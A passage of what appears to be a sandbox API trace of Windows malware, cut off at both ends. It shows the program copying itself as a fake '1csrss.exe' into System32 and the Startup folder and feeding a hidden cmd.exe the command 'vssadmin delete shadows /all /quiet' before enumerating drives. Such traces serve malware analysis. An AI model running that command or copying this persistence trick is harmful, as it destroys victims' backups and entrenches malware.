Ptr=0x4ce2f8, Size=0x20) returned 0x4c80c8 [0317.658] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ce250 [0317.658] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ce250, Size=0x20) returned 0x4c82f8 [0317.658] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77740000 [0317.658] GetProcAddress (hModule=0x77740000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77756b30 [0317.658] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0317.658] lstrlenW (lpString="kernel32.dll") returned 12 [0317.658] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4c80c8 | out: hHeap=0x490000) returned 1 [0317.658] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0317.658] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4c82f8 | out: hHeap=0x490000) returned 1 [0317.658] CreateFileW (lpFileName="C:\\Windows\\System32\\1csrss.exe" (normalized: "c:\\windows\\system32\\1csrss.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0317.659] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\1csrss.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\1csrss.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0317.659] ReadFile (in: hFile=0x23c, lpBuffer=0x2417020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2417020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0317.662] WriteFile (in: hFile=0x240, lpBuffer=0x2417020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2417020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0317.664] ReadFile (in: hFile=0x23c, lpBuffer=0x2417020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2417020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0317.664] CloseHandle (hObject=0x240) returned 1 [0317.664] CloseHandle (hObject=0x23c) returned 1 [0317.664] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ce2b0 [0317.665] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ce2b0, Size=0x20) returned 0x4c8028 [0317.665] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ce118 [0317.665] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ce118, Size=0x20) returned 0x4c80c8 [0317.665] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77740000 [0317.665] GetProcAddress (hModule=0x77740000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77756b30 [0317.665] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0317.665] lstrlenW (lpString="kernel32.dll") returned 12 [0317.665] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4c80c8 | out: hHeap=0x490000) returned 1 [0317.665] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0317.665] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4c8028 | out: hHeap=0x490000) returned 1 [0317.665] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x2417020 | out: hHeap=0x490000) returned 1 [0317.669] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4d0020 | out: hHeap=0x490000) returned 1 [0317.669] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e0028 | out: hHeap=0x490000) returned 1 [0317.671] lstrlenW (lpString="%windir%\\System32") returned 17 [0317.671] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4a29b8 | out: hHeap=0x490000) returned 1 [0317.671] lstrlenW (lpString="%appdata%") returned 9 [0317.671] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4c80a0 | out: hHeap=0x490000) returned 1 [0317.671] lstrlenW (lpString="%sh(Startup)%") returned 13 [0317.671] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4c8168 | out: hHeap=0x490000) returned 1 [0317.671] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0317.671] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4a2bf8 | out: hHeap=0x490000) returned 1 [0317.671] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ce088 [0317.671] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ce088, Size=0x20) returned 0x4c8000 [0317.671] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4c8000, Size=0x40) returned 0x4a2778 [0317.671] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a2778, Size=0x80) returned 0x4ce860 [0317.671] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ce148 [0317.671] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ce148, Size=0x20) returned 0x4c7f60 [0317.671] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x1fffc) returned 0x4d0020 [0317.671] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x4f0028 [0317.671] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x500030 [0317.672] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ce250 [0317.672] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ce250, Size=0x20) returned 0x4c8168 [0317.672] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4c8168, Size=0x40) returned 0x4a26a0 [0317.672] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a26a0, Size=0x80) returned 0x4ce8e8 [0317.672] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ce8e8, Size=0x100) returned 0x4ce8e8 [0317.672] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0317.672] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ce8e8 | out: hHeap=0x490000) returned 1 [0317.672] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x4f0028, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0317.672] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x500030 | out: hHeap=0x490000) returned 1 [0317.672] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4f0028 | out: hHeap=0x490000) returned 1 [0317.673] CreatePipe (in: hReadPipe=0x19fd50, hWritePipe=0x19fd54, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fd50*=0x240, hWritePipe=0x19fd54*=0x244) returned 1 [0317.673] CreatePipe (in: hReadPipe=0x19fdc0, hWritePipe=0x19fdc4, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fdc0*=0x248, hWritePipe=0x19fdc4*=0x24c) returned 1 [0317.673] SetHandleInformation (hObject=0x244, dwMask=0x1, dwFlags=0x0) returned 1 [0317.673] SetHandleInformation (hObject=0x248, dwMask=0x1, dwFlags=0x0) returned 1 [0317.673] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fd60*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x240, hStdOutput=0x24c, hStdError=0x24c), lpProcessInformation=0x19fdb0 | out: lpCommandLine=0x0, lpProcessInformation=0x19fdb0*(hProcess=0x254, hThread=0x250, dwProcessId=0xb88, dwThreadId=0xb1c)) returned 1 [0317.687] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0317.687] WriteFile (in: hFile=0x244, lpBuffer=0x4ce860*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x19fd5c, lpOverlapped=0x0 | out: lpBuffer=0x4ce860*, lpNumberOfBytesWritten=0x19fd5c*=0x41, lpOverlapped=0x0) returned 1 [0317.687] CloseHandle (hObject=0x254) returned 1 [0317.687] CloseHandle (hObject=0x250) returned 1 [0317.687] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4d0020 | out: hHeap=0x490000) returned 1 [0317.687] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0317.687] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ce860 | out: hHeap=0x490000) returned 1 [0317.687] lstrlenW (lpString="%comspec%") returned 9 [0317.687] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4c7f60 | out: hHeap=0x490000) returned 1 [0317.687] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x250 [0317.687] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4ce0d0 [0317.687] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x4ce0d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x254 [0317.688] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4cc838 [0317.688] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x4cc838, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c [0317.688] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ce118 [0317.688] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ce118, Size=0x20) returned 0x4c80f0 [0317.688] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4c80f0, Size=0x40) returned 0x4a2778 [0317.688] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0317.688] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xd0) returned 0x4a74d0 [0317.688] GetLogicalDrives () returned 0x4 [0317.688] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10014) returned 0x4d0020 [0317.688] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ce250 [0317.688] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ce250, Size=0x20) returned 0x4c8078 [0317.688] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4c8078, Size=0x40) returned 0x4a29b8 [0317.688] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a29b8, Size=0x80) returned 0x4ce860 [0317.688] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ce860, Size=0x100) returned 0x4ceae8 [0317.688] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ceae8, Size=0x200) returned 0x4e0040 [0317.688] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e0040, Size=0x400) returned 0x4e0040 [0317.688] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e0040, Size=0x800) returned 0x4e0040 [0317.688] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e0040, Size=0x1000) returned 0x4e0040 [0317.688] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10000) returned 0x4f0648 [0317.688] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ce100 [0317.688] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4ce1f0 [0317.688] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x4) returned 0x4cc8c8 [0317.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4ce250 [0317.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x4) returned 0x4cc808 [0317.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ce160 [0317.689] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cc808, Size=0x8) returned 0x4cc758 [0317.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ce058 [0317.689] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cc758, Size=0x10) returned 0x4ce190 [0317.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ce148 [0317.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ce280 [0317.689] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ce190, Size=0x20) returned 0x4c8190 [0317.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ce220 [0317.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4cc908 [0317.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xe) returned 0x4ce298 [0317.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xe) returned 0x4ce2b0 [0317.689] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4c8190, Size=0x40) returned 0x4a2ad8 [0317.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xe) returned 0x4ce2c8 [0317.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xe) returned 0x4ce118 [0317.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xe) returned 0x4ce2e0 [0317.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xe) returned 0x4ce2f8 [0317.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ce178 [0317.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ce310 [0317.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4cc8a8 [0317.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ce190 [0317.689] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a2ad8, Size=0x80) returned 0x4ce860 [0317.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ce070 [0317.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ce1a8 [0317.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ce0e8 [0317.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ce1c0 [0317.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ce328 [0317.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4ce088 [0317.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ce370 [0317.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4cc768 [0317.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ce388 [0317.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ce3b8 [0317.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4ce3a0 [0317.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ce358 [0317.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4ce3d0 [0317.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ce3e8 [0317.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4ce400 [0317.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ce340 [0317.689] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ce860, Size=0x100) returned 0x4ceae8 [0317.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4a2080 [0317.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1108 [0317.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e11c8 [0317.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4e10a8 [0317.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1318 [0317.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e11b0 [0317.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4cc8d8 [0317.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e11e0 [0317.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1078 [0317.690] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1090 [0317.690] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x6) returned 0x4cc7e8 [0317.690] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e10f0 [0317.690] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1228 [0317.690] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4cc808 [0317.690] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e11f8 [0317.690] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e10c0 [0317.690] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4e12d0 [0317.690] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1120 [0317.690] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e10d8 [0317.690] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e12e8 [0317.690] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xe) returned 0x4e1138 [0317.690] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1258 [0317.690] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4e1198 [0317.690] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1150 [0317.690] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1210 [0317.690] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1348 [0317.690] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1180 [0317.690] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4cc818 [0317.690] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1300 [0317.690] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1240 [0317.690] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1168 [0317.690] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1270 [0317.690] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ceae8, Size=0x200) returned 0x4e1450 [0317.690] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e12a0 [0317.690] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4cc748 [0317.690] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1288 [0317.690] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e12b8 [0317.690] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1330 [0317.690] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1360 [0317.690] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e13a8 [0317.690] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e13c0 [0317.690] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1420 [0317.690] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1438 [0317.690] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e13d8 [0317.690] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4e13f0 [0317.690] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4e1378 [0317.690] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1408 [0317.690] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1390 [0317.690] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4e1898 [0317.690] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4e1730 [0317.690] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1808 [0317.690] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4e1970 [0317.690] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4e1880 [0317.691] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1688 [0317.691] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1820 [0317.691] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1700 [0317.691] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4cc758 [0317.691] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e17c0 [0317.691] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e16b8 [0317.691] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e18b0 [0317.691] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4cc848 [0317.691] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1718 [0317.691] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4e16a0 [0317.691] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1748 [0317.691] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e17a8 [0317.691] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1928 [0317.691] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1760 [0317.691] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e16d0 [0317.691] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1778 [0317.691] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4e17d8 [0317.691] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4e17f0 [0317.691] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1790 [0317.691] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e18c8 [0317.691] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1838 [0317.691] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4e18e0 [0317.691] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1850 [0317.691] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e18f8 [0317.691] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1958 [0317.691] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e16e8 [0317.691] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1910 [0317.691] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1868 [0317.691] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1940 [0317.691] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4cc778 [0317.691] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x6) returned 0x4cc858 [0317.691] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e19d0 [0317.691] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1a48 [0317.691] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1a00 [0317.691] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1a18 [0317.691] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1988 [0317.691] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4e19a0 [0317.692] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e19b8 [0317.692] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1a30 [0317.692] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e19e8 [0317.692] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1e08 [0317.692] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4e1e50 [0317.692] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1d90 [0317.692] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1e38 [0317.692] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e1450, Size=0x400) returned 0x4e1e68 [0317.692] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1da8 [0317.692] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1dc0 [0317.692] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4e1dd8 [0317.692] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1e20 [0317.692] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1df0 [0317.692] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1aa8 [0317.692] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4e1d00 [0317.692] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1b80 [0317.692] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1bc8 [0317.692] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1b68 [0317.692] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4cc868 [0317.692] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1d60 [0317.692] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4e1b98 [0317.692] RtlAllocateHeap (HeapHandle=0x490000, 